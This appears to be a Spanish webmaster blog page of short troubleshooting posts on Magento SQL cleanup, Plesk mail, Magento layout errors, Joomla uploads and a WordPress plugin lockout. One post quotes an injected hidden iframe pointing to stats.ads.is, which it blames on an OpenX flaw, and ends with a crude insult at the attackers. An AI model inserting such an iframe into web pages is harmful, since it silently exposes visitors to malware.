Magento, eliminar pedidos de prueba [Solucionado]

Para eliminar un pedido de prueba solo tenemos que ejecutar el siguiente comando directamente desde phpmyadmin:

set @increment_id='100000001';
select @order_id:=entity_id from prefix_sales_order_entity where increment_id=@increment_id;
delete from prefix_sales_order_entity where entity_id=@order_id or parent_id=@order_id;
delete from prefix_sales_order where increment_id=@increment_id;

Deberemos cambiar prefix por nuestro prefijo de la base de datos y el 100000001 por el número de pedido anterior la que vamos a borrar

agosto 2nd, 2010 | Dejar un comentario

Virus en tu página, inyección iframe 2010 [Solucionado]

Si estás sufriendo las inclemencias de una inyección de un iframe en tu página ya entradito el 2010, y además estás aquí, es por que ya andas algo desesperado buscandole una solución. Pues bién, la solución no te la voy a dar, pero te diré como quitarlo (ahora lo entenderás).

En mi caso el código ha sido el siguiente:

<iframe width=”0″ height=”0″ src=”http://stats.ads.is/stats?counter=99″></iframe>

Pues bien, si te ha pasado lo mismo que a mí, te vas a encontrar con que openx tiene una vulnerabilidad que está siendo explotada ahora mismo, estamos en marzo de 2010 y hace nada que han empezado a darle caña, por tanto, lo suyo es que quites todos los códigos relacionados con openx que haya en tu sitio.

En cuanto averigue como se soluciona lo pondré también para que podáis arreglarlo, de momento evitareis que vuestra página caiga en el pozo de página con virus de google.

openx iframe code injection.

Y chavalotes, la próxima vez que os querais meter con el menda, mejor vais desencajándoos ya la mandíbula por k os vais a tragar toa la carne magra.

marzo 24th, 2010 | 1 Comentario

Sorry._Although_I’m_listed_as_a_best-preference_MX_or_A_for_that_host,/it_isn’t_in_my_control/locals_file,_so_I_don’t_treat_it_as_local plesk [SOLUCIONADO]

Error: Sorry._Although_I’m_listed_as_a_best-preference_MX_or_A_for_that_host,/it_isn’t_in_my_control/locals_file,_so_I_don’t_treat_it_as_local plesk

Este problema viene cuando intentamos enviar correos desde la función mail de php y estamos utilizando los servicios de correo de mail de google apps.

La solución es bastante sencilla, simplemente tenemos que entrar en nuestro panel plesk y entrar en el correo del dominio en cuestión.

Una vez allí simplemente deshabilitamos la función de correo y php ya no verá nuestro servidor como destinatario y por tanto lo mandará directamente al servidor correcto.

marzo 18th, 2010 | Dejar un comentario

[Magento] Invalid id or tag ‘’ : must use only [a-zA-Z0-9_] [Solucionado]

Si recibimos un error al crear un layout personalizado para nuestra tienda magento similar al siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Invalid id or tag ‘’ : must use only [a-zA-Z0-9_]
Trace:
#0 \lib\Zend\Cache\Core.php(545): Zend_Cache::throwException(’Invalid id or t...’)
#1 \lib\Zend\Cache\Core.php(564): Zend_Cache_Core::_validateIdOrTag(’’)
#2 \lib\Zend\Cache\Core.php(322): Zend_Cache_Core::_validateTagsArray(Array)
#3 \app\code\core\Mage\Core\Model\App.php(1045): Zend_Cache_Core->save(’saveCache()
#6 \app\code\core\Mage\Core\Controller\Varien\Action.php(265): Mage_Core_Model_Layout_Update->load()
#7 \app\code\core\Mage\Cms\Helper\Page.php(83): Mage_Core_Controller_Varien_Action->loadLayoutUpdates()
#8 \app\code\core\Mage\Cms\controllers\IndexController.php(45): Mage_Cms_Helper_Page->renderPage(Object(Mage_Cms_IndexController), ‘home-german’)
#9 \app\code\core\Mage\Core\Controller\Varien\Action.php(376): Mage_Cms_IndexController->indexAction()
#10 \app\code\core\Mage\Core\Controller\Varien\Router\Standard.php(248): Mage_Core_Controller_Varien_Action->dispatch(’index’)
#11 \app\code\core\Mage\Core\Controller\Varien\Front.php(158): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#12 \app\Mage.php(459): Mage_Core_Controller_Varien_Front->dispatch()
#13 \index.php(65): Mage::run()
#14 {main}

Lo que debemos hacer es seguir 2 simples pasos, el primero será buscar nuestro archivo use_cache.ser (que puede que no tengamos si lo hemos trasteado anteriormente).

1
app/etc/use_cache.ser

1.- en caso de no tenerlo lo crearemos, si lo tenemos pasamos al punto 2

1
2
cd app/etc/use_cache.ser
touch use_cache.ser

2.- y ahora le cambiaremos los permisos de escritura

1
chmod 666 use_cache.ser

(es muy frecuente encontrar el problema por haber puesto permisos 777 que son incorrectos para este archivo).

Una vez ya tenemos el archivo bien configurado, nos vamos a ir al fichero en el que agregamos nuestro layout, en este caso

1
cd app/local/local.xml

y buscamos la parte del código, por ejemplo:

1
2
3
4
5
6
7
8
<cms>
    <layouts>
        <redirect>
            <label>Limpio</label>
            <template>page/0column.phtml</template>
        </redirect>
    </layouts>
</cms>

Pues bien, el problema reside en que hay que definir una etiqueta layout, con lo que quedaría así:

1
2
3
4
5
6
7
8
9
<cms>
<layouts>
    <redirect>
        <label>Limpio</label>
            <template>page/0column.phtml</template>
            <layout_handle>page_0column</layout_handle>
        </redirect>
    </layouts>
</cms>

Veremos que el nombre sería page/0column.phtml = page_0column si tenemos page/mitemplate.phtml pondremos page_mitemplate.
Con esto nos debería quedar resuelto el problema de código, ahora solo nos queda irnos a la administración y refrescar el caché, la próxima vez que entremos en la página que nos daba error debería funcionar.

enero 7th, 2010 | Dejar un comentario

Poner stock a 0 Magento mysql [SOLUCIONADO]

Entramos en el administrador de mysql preferido y conectamos a nuestra base de datos. Una vez hecho esto ejecutamos estas consultas:

UPDATE cataloginventory_stock_status SET stock_status = ’0′ WHERE stock_status > 0;
UPDATE cataloginventory_stock_status SET qty = ’0′ WHERE qty > 0;
UPDATE cataloginventory_stock_item SET qty = ’0′ WHERE qty > 0;

julio 4th, 2009 | Dejar un comentario

Joomla! Problema de subida de archivos (browse files, navegación de archivos) [SOLUCIONADO]

Bueno, esta vez es en Joomla!

Si tienes problemas a la hora de subir archivos o imágenes en joomla por que simplemente te salen 3 botones de los cuales el primero se llama Navegación de archivos o browse files en inglés y al pulsar este no pasa nada, el problema es de la subida de ficheros en flash. Por el momento puedes solucionarlo desactivándola en:

www.tusitio.com/administrator/index.php?option=com_config

y ahí la última opción de la pestaña sistema es la de la subida flash, estará en sí, la ponemos en no y le damos a guardar o aplicar.

Listo, ya te funcionan las subidas.

abril 29th, 2009 | Dejar un comentario

WordPress. Problema en administración al traducirlo al español y darle a actualizar.

Bueno, lo que me ha pasado ha sido lo siguiente, estaba arreglando el tema de comentarios del theme que se ve que no era compatible la programación con esta versión de WP y me he decidido a cambiar el idioma al wp por el español

Una vez que lo he cambiado en el config.php, me ha pedido actualizar la base de datos. Acepto y luego me ponía en la administración que actualizara la versión y le he dado a actualización automática.

Una vez ha terminado correctamente como es normal me ha vuelto a pedir login, me conecto y sorpresa!!

No tienes autorización para acceder a esta página

Lo cual me ha hecho hacer un par de búsquedas. Pues bien, la solución es extremadamente sencilla y es debida a que alguno de los plugins instalados no es compatible con esta versión en español (no tiene por que ser compatible si lo era con la inglesa ya que cambia no solo el idioma sino también parte del tipo de programación del código, no os asustéis).

Como arreglarlo:

  1. Entramos por FTP, SSH o cualquier otro método por el que podamos explorar las carpetas.
  2. Entramos en wp-content/
  3. Cambiaremos el nombre de la carpeta plugins, por pluginsx o cualquier otro
  4. Entramos en la administración y luego en la sección plugins, wordpress desactivará automáticamente todos los plugins (por que no encuentra la carpeta)
  5. Volvemos a renombrar la carpeta plugins a su nombre original
  6. Ya solo nos queda ir activando uno a uno los plugins, e ir viendo cual es el que nos da el problema

Una vez localizamos el plugin que nos da el problema, o buscamos uno compatible o nos olvidamos de el xD  (aunque también podemos googlear un rato y buscarnos la vida para modificarlo).

PD: El que me ha dado el problema a mí ha sido wordpress_database_backup (si eso prueba primero quitando este a ver si es el que te da el problema y así no tienes que desactivarlos todos.)

marzo 29th, 2009 | Dejar un comentario
VicHaunter © 2008